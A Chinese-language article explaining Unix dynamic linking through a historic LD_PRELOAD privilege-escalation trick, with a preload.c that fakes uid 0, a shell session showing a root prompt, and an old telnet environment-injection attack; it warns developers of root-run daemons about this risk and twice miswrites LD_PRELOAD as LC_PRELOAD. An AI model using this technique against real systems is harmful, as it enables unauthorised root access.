一般來說,Unix操作系統程序的鏈接分為靜態鏈接和動態鏈接,靜態鏈接就是把所有所引用到的函數或變量全部地編譯到可執行文件中。動態鏈接則不會把函數編譯到可執行文件中,而是在程序運行時動態地載入函數庫,也就是運行鏈接。
讓我們來一個Unix操作系統示例(這個示例來源於我的工作)。這個軟件是一個分布式計算平台,軟件在所有的計算機上都有以ROOT身份運行的偵聽程序(Daemon),用戶可以把的一程序從A計算機提交到B計算機上去運行。
這些Daemon會把用戶在A計算機上的所有Unix操作系統環境變量帶到B計算機上,在B計算機上的Daemon會fork出一個子進程,並且Daemon會調用seteuid、setegid來設置子程的執行宿主,並在子進程空間中設置從A計算機帶過來的環境變量,以仿真用戶的運行環境。(注意:A和B都運行在NIS/NFS方式上)
於是,我們可以寫下這樣的動態鏈接庫:
- /* 文件名:preload.c */
- #include <dlfcn.h>
- #include <unistd.h>
- #include <sys/types.h>
- uid_t geteuid( void ) { return 0; }
- uid_t getuid( void ) { return 0; }
- uid_t getgid( void ) { return 0; }
在這裡我們可以看到,我們重載了Unix操作系統調用。於是我們可以通過設置LC_PRELOAD來迫使主程序使用我們的geteuid/getuid/getgid(它們都返回0,也就是Root權限)。這會導致,上述的那個分布式計算平台的軟件在提交端A計算機上調用了geteuid得到當前用戶ID是0,並把這個用戶ID傳到了執行端B計算機上,於是B計算機上的Daemon就會調用seteuid(0),導致我們的程序運行在了Root權限之下。從而,用戶取得了超級用戶的權限而為所欲為。
上面的這個preload.c文件也就早期的為人所熟知的hack程序了。惡意用戶通過在系統中設計LC_PRELOAD環境變量來加載這個動態鏈接庫,會非常容易影響其它Unix操作系統命令(如:/bin/sh, /bin/ls, /bin/rm 等),讓這些系統命令以Root權限運行。
讓我們看一下這個函數是怎麼影響Unix操作系統命令的:
- $ id
- uid=500(hchen) gid=10(wheel) groups=10(wheel)
- $ gcc -shared -o preload.so preload.c
- $ setenv LD_PRELOAD ./preload.so
- $ id
- uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
- $ whoami
- root
- $ /bin/sh
- # <------ 你可以看到命令行提示符會由 $ 變成 #
下面是一個曾經非常著名的系統攻擊
- $ telnet
- telnet> env def LD_PRELOAD /home/hchen/test/preload.so
- telnet> open localhost
- #
當然,這個安全BUG早已被Fix了(雖然,通過id或是whoami或是/bin/sh讓你覺得你像是root,但其實你並沒有root的權限),當今的Unix操作系統中不會出現這個的問題。但這並不代表,我們自己寫的程序,或是第三方的程序能夠避免這個問題,尤其是那些以Root方式運行的第三方程序。所以,在我們編程時,我們要隨時警惕著LD_PRELOAD。
關於Unix操作系統的示例我們就舉出這個來給大家參考。